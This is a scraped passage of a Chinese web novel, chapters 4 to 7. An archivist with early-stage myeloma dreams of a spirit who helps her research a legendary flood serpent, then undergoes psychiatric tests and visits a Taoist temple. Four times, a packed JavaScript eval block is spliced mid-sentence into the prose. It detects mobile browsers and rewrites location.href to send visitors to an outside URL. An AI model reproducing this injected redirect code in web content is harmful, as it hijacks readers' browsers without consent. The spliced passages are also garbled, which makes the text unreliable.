谢小年挨着顺序拿了年份最近的几十年,顺着目录一本一本翻,翻到后来,果然不出意外地趴着睡着了。 这个觉睡得很不安稳。她又看见了那个穿着华丽怪异的男人。 她站在湖心的小岛上。这片小岛实在美丽。浅浅的绿草只能覆盖脚底,除此之外什么都没有,周围是望不到边际的蓝绿色湖水,水鸟从湖面上掠过,平静安宁。 可面前多的男人,只让谢小年恨这里为什么平静安宁,为什么湖水如此广阔,连一条逃跑的路都没有。 谢小年果断抱头蹲下来了。“东方不败大人,我什么地方惹到你,你大人不记小人过行不行,从前的恩怨我没有印象,如果有什么冒犯到您的,纯粹是我色心作祟。” “有什么能够补偿的,要求您提,能办到的我一定办到,不要总往我梦里跑行不行啊。莫非是您在那边很缺钱?我给您烧点?房子?车子?手机?电脑,只要您说……” 谢小年真是怕了。连续两个梦梦到同一个人,就是熟人她也害怕啊,更不要提还是个完全没有印象的男人,除了讨命的男鬼,她不能想到任何其他的可能。尽管他说过他不是,但谢小年不相信。 对面的人沉寂了好长一段时间没有说话,谢小年悄悄松开捂着脑袋的手,抬头看了对方一眼。 他的睫毛垂下来,像是孤寂的雕塑,和周围寂寞的湖水融成了一体。 谢小年恨自己的色胆在这个时候又复苏。他缓缓蹲下来,腰间珏佩轻响,男人盯着她,很认真,“可是,我很想见到你。” 谢小年顿时说不出来话了,一张脸憋得通红,“……这样啊。” 做梦梦见而已,也不是什么大不了的事情对不对?她还梦见过自己去世的爷爷呢。谢小年艰难说服自己。 “你说过,你很愿意和我在一起。”男人继续开口。 谢小年顿时神智又被拉回来。她是得病了又不是失忆了,这句话她绝对没有说过。哪怕是看着这样一张脸,她也有点生气了。 今天晚上的工作还有很多很多,她只能在工作间隙趴在桌子上小憩恢复精力,然而就是这样珍贵的休息时间,却被这个人留在梦里,最重要的是,还是因为他认错人了,她这不是无妄之灾么。 男人当然不知道她想什么了,他摊开掌心,一条熟悉的红绳平静地躺在他手上,“带上吧,小年,不要再丢了。” 是那一条早上才从车窗里丢出去的红绳,那条串着半颗玉珠的红绳。 “我可以不要吗?”他的出现和这颗玉珠果然是有关系的!谢小年觉得自己后背发凉。真奇怪,梦里的感觉也这么真实吗? “不可以。” 她沉默,站起来,毅然决然往水里一跳。她现在需要一个刺激让自己醒过来。只是一个梦,等到在水里感受到窒息的时候,自然就会醒了。 谢小年安详闭上眼睛,等着梦醒的那个瞬间。 该在水里产生的窒息感觉却一直没有来,谢小年睁开眼睛,发现自己不知道什么时候从水里,躺倒了小岛上,男人就盘坐在她右侧,静静看着。 他居然有腿了,真是稀奇。 原来那样扎人的感觉是他的目光啊,她还以为是太阳照进了水里,这真是一个巨大的坏消息。 “戴上吧,小年。” 谢小年坐起来,和他一样盘起来腿,“东方不败大人,我真求求了,我不演虐恋情深的偶像剧,也不信人鬼情未了,你该干嘛干嘛吧。” “我根本就不认识你,你一开始就认错人了,我承认我先前被你的这张脸迷惑了,但我现在真的很忙,空空城的资料还有一大堆需要整理,我没有时间陪你在这里闹。” “你戴上,我帮你找。” 谢小年这下是真的愣了,“真的假的?” “算了,管他真的假的,戴上这个你就放我走是吗?” 谢小年有些烦躁地一把抢过来那条红绳,动作粗暴拴在自己手腕上,甩了好几下,红绳都没有掉下去。 那串红绳在男人手里待久了,玉珠带着他手心里的温度,碰到谢小年皮肤,异样的感觉让她有些不舒服。 真是奇怪,鬼竟然是暖和的,而她在梦里,竟然能感受到温度。 她举起来给男人看,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929563|192758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行了吧,赶紧放我走,以后不要再出现在我的梦里了,我真的很忙,你也真的认错人了。” 男人的瞳孔黯淡下去,“好的,我会注意的。” 对上他的目光,谢小年开始反思,自己是不是说得太过分了。 “我也不是那个意思,如果你在那边缺钱,还是能给我托梦的,但是频率不要这么频繁了。还有啊,别乱找人了,赶紧投胎吧。” “可以托梦吗,好的,我知道了。” “……别太频繁,没事别找。”谢小年怀疑,她一大段话,他只听进去了这一句。 “好的,再见,小年。” “再见再见,漂亮的……男鬼。” 小岛开始虚化,湖水动荡,涨潮了,湖面上的水鸟越飞越远。 谢小年转过头,和她一起在小岛上的人已经失去了身影。 一道湖水打上来,谢小年和小岛一起被湖水淹没,她终于感受到了在水里的窒息感。 浑身一抖,谢小年猛然睁开眼睛,好了,总算是知道自己为什么会觉得窒息了。整个五官陷进柔软的抱枕里,不能呼吸,不就会窒息嘛。 她笔直地坐着,往嘴里连着灌了好几口水,脑袋还是没有从梦里缓过神来。 直到窗外的一阵冷风吹到脸上,谢小年被吹得清醒了。 天呐,她到底在干什么?做个梦而已,发半天呆,不知道浪费了多少时间?而她的工作进度连五分之一都没有进行到。 “谢小年,你可千万别是生个病把脑子伤到了啊,我就这么唯一一颗聪明的脑袋瓜子。”谢小年崩溃地继续查阅资料。 不知道是不是刚刚在梦里遇见鬼已经倒霉过了,运气守恒定律终于在她身上实现,这一页,谢小年翻到了二桥村的记录。 “……二十年,大雨三日,……洪水……二桥村……化蛇,其邑大水。怎么莫名其妙出来这么一句?”她皱着眉头吐槽了一句,现在好了,还要来查什么是化蛇? 这倒也不是什么稀奇事,古今中外的人们,都尤其喜爱将大灾大难的发生推根溯源到妖怪,天罚身上。 谢小年搜到了原文,来源还挺早,在山海经里,说是“其中多化蛇,见则其邑大水。” 化蛇,人面而豹身,鸟翼而蛇行,见则其邑大水。 谢小年越看脸色越加怪异,沉默地把书合上了。深吸了几口气,眼睛对着手上的指纹呆呆看了半天,确定自己的眼睛没有出任何问题之后,小心翼翼再次打开刚刚那一页。 可惜的是,没有任何变化,记录里,依旧是那样的记录。 上个世纪二十年代初,二桥村大雨下的第三天,村里发生了洪灾,庄家被淹,损失了很多东西,村民说在河里见到了化蛇,所以村里才会发生洪灾。 谢小年想起来二桥村水池里那个半透明的影子。见到它的时候,二桥村也是大雨。 如果只有这一个巧合,也就算了,可是它长的,和传说中的化蛇,很是相似。 啊,原来那个男人没有骗她,那真不是鬼,而是一只起源古老的来自山海经的精怪。 5. 第 5 章 谢小年不知道最近自己身边为什么总是发生这么多怪事,她把这一段文字敲到了电脑上,心里纠结好一会儿,还是把文字删去一段,直到化蛇两个字之前为止,建国后是不允许出现妖怪的。 她合上书,打开下一本书。这些书放在档案室里无人翻阅,真的已经过了很久。空空城的潮湿让书带着些霉味和灰尘,加上书角因为存放的原因,有些凌乱。 好巧不巧,谢小年就是那种有轻微强迫症的人。拿纸巾把书壳上的灰尘擦干净,她又顺手一边翻找一边将凌乱的书角整理平整。 直到按到了不太对劲的一页书角。老书会因为各种各样的原因导致纸张不平整,起角,褶皱,无可避免。可到底是存放原因还是人为折上去的角,她不可能分不清楚。 沿着那个角打开书页,谢小年很轻易看到了自己需要找的内容。 上个世纪六十年代中,二桥村又发生了洪水。记录很详细,同样也提到二桥村是化蛇居住的地方。 谢小年心肝颤,又想到自己的梦。那个人说,她戴上那半颗玉珠,他来找文献。 手一抖,厚重的书砸到了她脚上。谢小年顾不得捡起来,再也忍不住害怕,小心拉开了自己的衣袖。 细细一条红色绳子在白皙的皮肤上显得更加醒目,玉珠上的体温和她身上别无二致,以至于她一开始就忽略掉了那个最不可能的可能性,梦里的东西,竟然会出现在现实里。 这太荒谬了,那个不只是一个梦吗? 谢小年保持着低头看手腕的姿势,直到鼻腔里的血滴在手背上,才如梦初醒。 “哈哈,应该是病情加重了。”她对自己说了一句。 肯定是症状加重了导致记忆产生混乱,在车上她根本就没有把这条红绳丢掉。这个答案她就完全相信了。 按压鼻翼止住血之后,她沉默地翻了一本又一本记录,毫无意外的,被折起来书角的每一本打开,都轻易找到了二桥村的记录,至于剩下没有被折的,谢小年翻过目录就已经能知道那里面不会有。 电脑里的文档已经整理得很完善,她冷着脸,键盘重重敲下去,最后还是在文档里把化蛇的传说加了上去,并且标注出处。 干完这些的时候,一看时间,并不很晚,九点,如果现在选择睡觉,刚好足够有一个充足的睡眠。 但是谢小年看着手机上的时间,一点也笑不出来。这些工作量,本来是她一个晚上加一个白天才能干完的,就这么轻轻松松结束,她是不是还得好好感谢一下人家? 如果真的有这么个——鬼。 “你好?你好?在不在,在不在?”谢小年小心翼翼对着空气问。 她的准备工作都做好了,拿起来旁边的凳子,如果真的有回应,马上一凳子丢过去,然后跑出档案室。 虽然他很好看,但是她最多也只能接受在梦里出现啊。 九点,还有工作晚的同事没有下班,俗话说三个臭皮匠顶个诸葛亮,几个大活人聚在一起,应该就不怕了吧? 谢小年的声音有些颤抖,“有人在吗?有鬼在吗?东方不败?”其实她希望千万不要有回应。 一分钟,两分钟。档案室除了谢小年说话的回声,再也没有任何动静。谢小年捂着剧烈跳动的心脏坐下去,趴在桌子上喘气。还好还好,果然是她自己吓自己。 “吧嗒——” 谢小年的呼吸瞬间停止,脚一抖,直接从椅子上跳起来。她害怕得发不出任何声音,如果可以,她多么希望自己此刻能昏过去。 老天爷,她只是一个弱小可怜无助的人类,为什么要这么迫害她,她没有做过坏事啊。 谢小年颤抖着往后退,后背紧紧靠着书架,说话声更是一个字带了三个颤,“是谁啊?” 是鬼怎么办,如果鬼要吃她,她要怎么反抗?会像贞子一样从她的电脑里爬出来,还是午夜凶铃? 如果反抗不了,她在这里大叫,声音能被同事听见吗?她要是死了明天的社会头条会怎么编辑? 谢小年在那一瞬间想了很多东西。 “吧嗒——” 对面的书架上,跳出来一只圆圆滚滚的狸猫,油光水滑,嘴里叼着蟑螂,小跑到谢小年脚边,把那只蟑螂放在她的脚背上,活的。 谢小年:……利索地反手抽了一本书砸到脚背上,蟑螂死得无声无息。 真相浮出水面了,不知名的啪嗒声是这个小混蛋在书架里抓蟑螂。 “月巴,你信不信我克扣掉你明天的饭?”她真的生气了。 月巴,猫如其名,圆润,是部门里的编制猫。当年它还是一只身材匀称,动作敏捷的小狸花,一眼被外出考察的同事看上,带回来,主要工作就是保护单位里的各类文件不被老鼠咬坏,工作多年,恪尽职守,猫猫生威,单位连半只老鼠都没见到过。 当然,这一切都只是谢小年听闻的消息,毕竟,她来到空空城见到它的时候,月巴已经是如今这样的体格子了,单位里也已经有了好几只猫,很难想象它矫健起来是什么样的,但是现在,谢小年见识到了。 月巴跳到谢小年怀里,用自己的粗壮的手臂拍了她两下,谢小年心情复杂,她被一只猫安慰到了。 “如果没有遇到这么多事情就好了。”谢小年□□了月巴两把,微微叹息。 如果没有生病,也没有遇见这么多怪事,生活平平淡淡就好了。 她的手机突然在桌面响,不是午夜凶铃,是同事打过来的。 “小年,二桥村的文件是你在接手吗?先前我整理过一部分了,放在第六排第五层的书架上,都折起来了,你打开就能看到,你接手的话,正好能少整理一点哦。” “看到了,幸好是你,我看见书都折起来,还以为见鬼了,大晚上见鬼,就真的是恐怖故事了。” “你都不知道,其实我的脑子里,刚刚已经构建了一个完整的午夜凶铃的故事。” 同事哈哈大笑,“怎么会有帮忙工作的鬼?要是真的有这么善良的鬼,我可要第一个申请领取资格,让一只鬼打三份工,我回家休息。天呐,躺着就可以把工资拿了,不要太舒坦!” 谢小年也笑起来,“好恐怖的想法,就算是鬼,也得吓跑了。” …… 原来是这样吗?谢小年挂了电话,看着已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929564|192758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息屏的手机出神,是她自己把自己给吓到了。 也许是骤然情绪起伏太大,谢小年神经一松懈下来,整个人疲惫无力,有些昏昏欲睡,她下意识去摸自己的鼻子,还好,没有出血。 她重新把凌乱的桌子收拾干净,档案都放回书架上,最后整理了一遍文件传给了郑姐。 她决定,就算这一切都是一场大乌龙,她也需要去医院检查了。 几乎是文件刚发过去,郑姐立刻回了一个问号过来,连字都不打了,直接发了一段语音过来。 “小年,你,多长了——几双眼,睛吗?”她艰难地从嘶哑音色里听出来郑姐的疑问。郑姐说话困难,但震惊的语色是断断续续的声音掩盖不住的。 多长了一双眼睛是肯定不能做到的,必须是像蜜蜂苍蝇一类的昆虫,成千上万双复眼,并且还配了独立的传导系统。 那不就是苍蝇和章鱼的复合体? 谢小年声音轻快和郑姐说了自己的猜测,对方又是一段嘶哑的大笑声,上气不接下气。实在是罪过,她担心这几声笑,会不会让郑姐的嗓子更加嘶哑。 但是郑姐显然不在意,“章鱼?你知道吗,山海经里就提到过很多和章鱼很像的形象。” 谢小年哪里敢告诉郑姐,她虽然不知道山海经里和章鱼很像的精怪是什么,但是真正的精怪,她已经见过一只了。 郑姐提到山海经,丝毫没有停下来的意思,照这样下去,别说明天,她这个嗓子,就是一周都好不了啊。 谢小年无奈,赶紧岔开话题,“想不到吧,其实是其他同事先前已经整理过了。对了,郑姐,我现在要去医院一趟,明天就麻烦你把文件带去研讨会了。” 郑姐有些意犹未尽,却也只好强行停止自己的输出,说,“当然可以。” 谢小年抽了半包纸巾出来放进背包里,防止自己走到路上会突然流鼻血,然后走出了档案室。 站在门口最后看了这里面一眼,除了趴在书架子上睡觉的月巴,再也没有其他任何活物。 可是谢小年其实知道,如果同事真的把所有有关二桥村的档案都折过角,那上级就不会再让她来整理文件——单位现在可穷了,三倍的加班工资呢。 她也知道,自己绝对没有记忆错乱,手上的这条红绳,她真的已经扔过一次了,而现在回到自己手上的,也确实是丢掉的那一条。 “再见,我要去看病了,要从空空城坐地铁去锦城,然后做检查什么的,明天大概是回不来了,祝我一路顺风。” 谢小年对着空气说,没有任何人回应她,就连月巴,都没有抬起头看一眼,是啊,一只猫,怎么能听得懂人话呢。 “听见了吗,——月,巴。” “喵~”听见有人叫自己的名字,它懒懒回一声,好像是在埋怨谢小年打扰到它睡觉。 谢小年笑了,轻轻关上门。 黑暗的空间里,月巴突然睁开眼睛,浑身毛竖起来,朝什么方向发出低声的威胁嚎叫。 下一刻,一只看不见的手放在它的脑袋上,从头撸到尾,月巴感受到对方没有恶意,不再理他,换了个姿势,继续睡觉。 6. 第 6 章 谢小年在精神科做卷子。 事情就是这么凑巧,今天段宜值夜班,大晚上谢小年一个小姑娘拿着号进来,她顺口问了一句,“小年,上次说幻觉的情况缓解了吗?” 谢小年沉默。 她看着段宜身上的白大褂,在思考自己要是说自己见到山海经里的精怪了,会不会被当成精神病。 到底要不要说,这是个问题。 谢小年不是没有怀疑过自己,但是她的意识很清醒,分得清现实和虚假,除了一双眼睛看见的东西不对,其他都和正常人没有什么区别。 这会是精神上的毛病吗? 她沉默的时间太长,段宜抬起头,神色严肃,“不要讳疾忌医。” “是这样的。”谢小年回忆性开口。 “今天早上我去一个废弃的村子考察,好像在水里看到妖怪了。” 段宜盯着她看了几秒,谢小年硬着头皮朝她肯定地点头,“感觉很真实。” “你觉得那是真的?” 谢小年也很想顺着段宜说不是,但是她回忆起来自己被缠绕得不能呼吸的时候,还是点头,“真的,它攻击我的时候,疼痛感和窒息感都存在。” 下一刻,段宜就打了一个电话,然后,谢小年就被人带走,按到现在的位置上,一直做卷子。 问卷的内容也不陌生,她读书的时候做过很多类似的。很少有学生没有做过这些心理量表,不管是学校要求还是自己感兴趣,总之,应该很少人在读书的时候一点心理问题都没出过。 谢小年做问卷做得不太顺畅,倒不是问卷本身的原因,就是大晚上的,又赶了挺久的路,她现在困了。 医生是一张比较年轻的面孔,看起来孔武有力。她听说精神科的护士都对身高有要求,不然按不住患者,不知道是不是这个原因。 医生面对她坐着,桌上放了杯咖啡。 谢小年伸了个懒腰,指了指他手边的咖啡,问,“医生,我可以下楼买点咖啡再继续吗?” 医生拒绝,“年轻人,咖啡喝多了不好,饮水机有热水,一次性纸杯在旁边,你喝点?” 谢小年,“那你——” “害,值夜班嘛,提神。”医生不愧是在精神科待的,他的表情微妙,说话很幽默,“真喝出问题来了,楼下就是急救室,方便得很。” 谢小年还能说什么,竖了个大拇指,真心赞叹,“厉害。” “彼此彼此。”医生谦虚接受。他听说这个小姑娘骨髓瘤顶着大雨外出工作,还发现了精神疾病,同样觉得不可思议。 对于这个问题,谢小年两手一摊,带着淡淡的忧伤,“赚钱啊,要是没钱我怎么治病,真是,缺钱都要缺疯了。” 年轻医生点头,这年头,谁会不缺钱呢。 “唉,做问卷吧。”医生说。 做完量表,谢小年又回了段宜那里,检查结果还要些时间才出来,谢小年在休息室里倒头就睡,躺在柔软的沙发上,还盖着段宜友情提供的毛毯。 不知道是不是因为医院的原因,她整个晚上都睡得无比踏实,没有梦到任何奇怪的人。第二天早上还是被段宜叫醒的。 “醒醒,检查结果出来了。” “好的。” 谢小年迷迷糊糊应了一声,然后去找自己的手机,一看时间,七点半。 “一个好消息一个坏消息,你要先听哪一个?” 这就是和自己的主治医生太熟悉的坏处了,谢小年一个都不想听,她现在想躺下去继续睡觉。 “听好消息吧,高兴了就是真的高兴过了。”先听好消息,就算坏消息真的很坏,她也要先高兴高兴,要是一会儿高兴不起来她不就亏了嘛。 段宜笑着,“你的体检报告状态很好哦,我们会继续随访观察,等到时机合适就进行干细胞移植,你很年轻,预后也不会差的。” 看吧,她就知道先听好消息不会错,谢小年现在真的高兴。 “那坏消息呢?” 段宜从报告单下面抽出来另一份报告,“你精神方面的检查没有问题,就连器质性病变也没有,所以,暂时找不到你出现幻觉的病因。” 谢小年点点头,早有预料。 “可能是最近压力太大了吧。”谢小年无所谓说道。她这个人最大的优点,就是松弛。 真正为这件事烦心的是段宜,毕竟她是谢小年的主治医生。她看着手里的报告,翻来覆去核对,眉头都拧起来。 谢小年突然觉得有些心虚,“段医生,别想了,再这么下去,你也要压力大得幻视幻听了。” 段宜摇摇头,“没事,一会儿我也去把体检做了。 看了半天没看出什么不对劲的,段宜只能放谢小年走了,“好吧。你注意休息放松,没事逛逛公园散散步,做做手工之类的,说不定幻觉能缓解。药还是和以前的一样,在一楼拿。” 谢小年松了一口气,生怕段宜继续问下去,连忙道别,拿了药就离开医院。 锦城今天天气很好。这边和空空城隔得不远,但比起空空城那样宛如被厚重云层攻陷的地方,锦城好歹一个月能有几天晴天。 她请了假,也不着急回去,索性就随便逛逛。 这个时候算是早秋,银杏叶绿油油挂在树上。医院旁边三百米不到的地方就是三清道观,谢小年搜了一下,一个比较有名的道观,又想到段宜让她多散散步,于是买了门票进去。 她对这样的城市规划很感兴趣。周围两个大医院,夹着一座道观,任谁都会觉得有意思。 这到底是信医学呢,还是神学呢。 谢小年提着医院装药的大塑料袋在各个殿闲逛。塑料袋很大,导致上面印的医院名称也很扎眼。 她漫无目的地闲逛,别人一看就知道是刚刚从医院里出来的。小姑娘年纪轻轻,长得也漂亮,这就不得不让人更加好奇,她到底是生了什么病呢。 所以她坐在三清殿外的长椅上休息的时候,成功捕获了一个师太的关注。 “小姑娘,你刚从医院出来?” “对啊,”谢小年转头看见人,回了个微笑。她倒是很适应别人突然的搭话,毕竟在北方读了很多年书,那边搭话再正常不过。 她把自己的大塑料袋晃了晃,给师太看,“还提着药呢。” 师太也坐下来,坐到她旁边。 “今天出太阳了,出了医院,可以来晒晒太阳,他们都说,人要多晒晒太阳。” 这个谢小年知道,段宜给她详细讲过医嘱,“对,多晒晒太阳,因为人的皮肤在接触到阳光之后,能合成维生素D,促进钙和磷的吸收,对骨骼很好。” “哦,是这样。”师太点头,又继续问,“是你生病了,还是家里人生病?” “自己啊,师太。” 谢小年有点想要跑掉了,无奈师太的下一个问题也抛得很快,“是很严重的病?” 她开始觉得有点好玩了,怎么还有这么问话的?她一屁股重新坐稳。 很严重吗,多发性骨髓瘤,恶性肿瘤,当然是很严重的疾病。 可是很幸运,她发现得很早,还在早期就已经在体检的时候发现,现在连治疗都只需要定时吃一些药而已,再加上她很年轻,等到病情再明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929565|192758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显一点的时候,移植干细胞就行了。 但谢小年只简明扼要地回答了,“还好,肿瘤早期。” 其实现在的医学的条件,很多肿瘤,哪怕是恶性,发现得早,治疗后也足够延长很久的寿命。但是师太显然不是很清楚,“果然是这样,我老远看见你提着药袋子就猜到你刚从医院出来。” “肿瘤,治不好的。先前有好几个来道观里向祖师爷发愿的人都是肿瘤,有时候啊,医学的尽头就是玄学,有些事情,还是得求祖师爷才行。” 谢小年脑子里的警钟嗡嗡响,她有些走神,如果把师太这一段话话录给她的主治医生段宜听,她会不会马上杀过来。 道观离医院太近了,都用不了五分钟就能到,但是很可惜,只能想想。 谢小年尴尬地笑了两声,手指忍不住偷偷扣了两下药袋子,干巴巴继续交流,“是这样吗?师太,那我应该怎么做呢?” 师太说,“你向祖师爷发愿,去抽个签,请祖师爷保佑你。” “真的可以吗?” 她的兴趣又上来了。这果然是个很好玩的事情。谢小年眼睛在发光,跃跃欲试。 如果连恶性肿瘤都治得好的祖师爷,其他事情岂不是易如反掌?比如让她中个一百万彩票之类的。 这个时候就不要跟她说什么封建迷信可耻了,万一呢,万一就真求到钱了呢? “当然了,祖师爷是万能的。”师太笃定地说出来这句话。 “好。” 谢小年顺着师太指的方向,顺利到了抽签的地方。牌子上写着,二十块钱一支签。 前面抽签的人很少,很快就轮到谢小年了。她也看不懂签上写的是什么,递给解签的道长,道长问她,“求什么?” 谢小年很虔诚,“求我明天能不能得到一百万。” 道长顿时沉默了。 “不能吗?”她有些失望,果然,中彩票哪有那么容易。 难道这种可能性很大吗?明天得到一百万,有时间有金额还有主人公,就是没有真实性。 花二十块的钱,许了一百万的愿望。天底下居然有这么贪心的人。 道长:“额,这个——”然后就没话了。 谢小年更加失望了,叹了一口气,“好吧好吧,我知道了。那抽签的钱能退吗?” 这个问题道长就很肯定,“不能。” 谢小年只好走了。 路上又遇到了那个师太,她问谢小年,“结果怎么样?” 谢小年叹了一口气,心里还是自己那一百万的梦想,她如实回答,“结果不太好。”岂止是不太好,根本就没有结果。 “没关系,”师太眼里浮现出一些怜悯,说,“多求几次,祖师爷一定会听见的。” 谢小年不知道这个几次到底是多少次,但面对师太的善意,她还是点点头,“我知道了,我先回去了。” 师太继续说了几句话,让谢小年不要灰心,只要她诚心,打动了祖师爷,祖师爷一定能保佑她早日康复。 谢小年当然知道自己会康复。 她出来站在道观门口的时候,觉得这个规划更有意思了。一座道观,两所医院,在里面工作的,都是人而已。 谢小年觉得,这可真是一个很深奥的话题。不知道这是不是锦州当初进行这样规划的目的之一,但是现在是想不清楚了,索性也饿了,就更加懒得去想,她释然地笑笑,拍了一张道观大门的照片,算是为今天的行程结个尾,然后准备去吃饭。 “天呐,那个女人为什么要站在门口笑?她还拍了照片,她是不是发现我们了?” 7. 第 7 章 “叫你藏好,叫你藏好!伸着你的大脑袋干什么,现在好了!” 啪啪两下打下去,道观正门口那颗巨大的银杏树,掉下来两颗银杏果,好巧不巧,砸在谢小年脑袋上。 银杏果在她脑门上弹起来,又迅速掉在地上。 谢小年“嘶——”一声,五官因为惊吓而扭成一团,捂着额头,低头一看,“银杏果?”该不该高兴,是银杏果而不是鸟屎。 可现在才九月份,远远没有到银杏果成熟掉落的时候,更何况,地上两枚看起来绿得发亮,在阳光下生机勃勃,一点不该是正常掉落的样子。 她疑惑的按了一下被砸到的地方,痛倒是没多痛,就是砸得人发懵。 谢小年想了想,弯腰把银杏果捡起来,顺手揣到了口袋里。 “老天爷,她是不是在收集罪证?我们是不是完了?” “都怪你!打我干什么?” “明明都是你!如果你藏好,我会打你吗?” “啊啊啊,她看过来了!冷静!冷静!” 谢小年抬头看头顶的树,巨大,茂盛。叶片层层叠叠地的叠在一起,带着阳光洒下来的光辉,青葱的生机好像一下子笼罩下来。 她觉得,光是站在树下面,都能感受到生机向自己的身体涌进。 “她真的发现我们了!” “肯定!” “怎么办?” “还能怎么办,你这个蠢蛋,下去跟她谈条件啊!虽然这不符合我的计划,但是我可以的,我一定可以的!” “马上——等等,我缓一下,我再深吸几口气!” “啊啊啊她嘴巴在动,她是不是要威胁我们?” “她说什么?你别叫,我仔细听听!” 谢小年抬头看了一会儿,脖子抬得有点累,饥饿感也涌上来。 她深吸一口气,对着头顶的树感叹道, “好绿——”真的很绿。 ”今天中午,加个绿叶菜。” 谢小年转了一下有些发酸的脖子,抬腿,转身走了。 “啊……她走了。” “嗯。” 树冠层叠间,一片绿得格外灵性的叶子默默缩了回去。 应该说是半片,叶片顶端宽阔的波浪形缺口将这片银杏叶分成两半,靠里面的那一半缩回去,外面那一半直愣愣不动。 于是,外面那一半又被啪啪扇了两下,叶柄乱晃,不小心打到旁边绿色的银杏果,然后,又一枚银杏果掉了下去。 医院附近有一家特别好吃的饭店。 店面很干净,老板也很热情。 谢小年真的要为自己澄清一下,她绝对不是因为医院附近的饭馆子好吃才选择到这里看病。 她认真考量过的,锦城的这几家医院的水平都差不多,给出的治疗方案也差不多,选哪个都一样。至于饭店好吃,顶多是顺带的因素。 开店的是一对夫妻。好像锦城的饭店大多是这样的搭配,男老板在厨房颠勺炒菜,女老板在外面收银招呼客人。 左脚刚刚踏进店门,老板就笑眯眯抬起头招呼谢小年坐下。 “好久没看见你了,妹妹。” “是啊,最近工作有点忙,好不容易进城一趟。”谢小年笑。空空城大概还称不上城市,在二桥村基础上建立起来的,虽然基础设施已经完善,地铁也有了,可人还是太少了。说起那个地方,还是习惯性将它和乡下,城郊画上等号。 所以谢小年说,进城。 老板显然也知道,问她,“还在二桥?那边生意好做不?我跟老板还打算过两年回去做生意呢,锦城啊,房租贵得很,生意也不好找做。” 老板就是二桥村本地人,二桥村迁村之后,索性来锦城打拼。 谢小年说,“现在好很多啦,交通很方便了,人也开始多起来了,回去做生意的话,虽然没有锦城客人多,但是离家近,房租也便宜。您要是在那边开店可就太好了,我能天天吃到你们家的饭。” 即使是得到了谢小年的回答,但对于这个问题,老板脸上到底显现出来几分迟疑,“我们肯定是想回去的,就是二桥那边哦,肯定没锦城人多嘛,这都是次要的,但那边天气也坏得很。” “我家娃娃小时候在老家读书,学校没有空调,夏天热得要死,冬天又冷得要死,一下暴雨呢,路上一尺深的水,鞋子裤子没有干的。” 空空城的气候,真的很坏。 “这样啊。”谢小年轻轻叹了一口气。 那真是一个奇怪的地方。夏天很热很热,每年夏季气温统计的时候,总在高温榜上。还有暴雨,严重的时候,几天几夜不停歇。孔子说东流水,逝者如斯夫,不舍昼夜,空空城的雨也同样不舍昼夜。 冬天就更糟糕了,因为在南方,气温少见跌下零度,可山里带着刺骨寒冷和湿气的风好像直往人的骨头里钻,更加痛苦的是,秋天开始,空空城一个月就难得见到几次太阳,几个月下来,人的头顶上都能长蘑菇了。 谢小年只能干巴巴回应,“会好的吧。” 等到治水的工程建起来,至少暴雨的问题能解决。他们这群人过来,就是为了解决空空城的水利问题。 老板比谢小年想得开,“嗨呀,说这些干嘛,妹妹好不容易来一趟,这顿饭姐请了,看看你要吃什么?” 谢小年觉得很不好意思,连忙摆手推辞,“这怎么好意思?” “吃吧吃吧,妹妹在二桥工作,我们算是老乡了,姐请你一顿饭怎么了?” 谢小年还想要推辞,这实在是不好意思,如果经常照顾店主的生意,她还能勉强接受,可她到锦城的频率不高,过来吃饭的次数就更少了。 想说什么,手机却突然弹出来消息。 谢小年看了一眼,不可置信地瞳孔放大,连嘴唇都微微颤抖,她面带微笑抬头, “姐,那我吃不完的可以打包带回去不?”好了,她现在好意思吃免费的饭了。 打败人羞耻心的,原来只需要一段自动扣费的消息呢。 谢小年发誓,自己绝对不会再忘记关任何一个软件的自动续费。 月末了,某个软件自动续费扣了二十八块钱,而工资还没有发。 她现在钱包里还有十二块钱。从锦州坐到空空城的地铁,一共要扣九块钱,地铁再骑辆共享单车回家,最后的剩余,谢小年大概算了算,不是零就是负数,当然,为负数的可能性更大。 这可真是一个极度悲伤的故事。谢小年又开始心疼自己了。 能穷到这个份上,她也算是让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 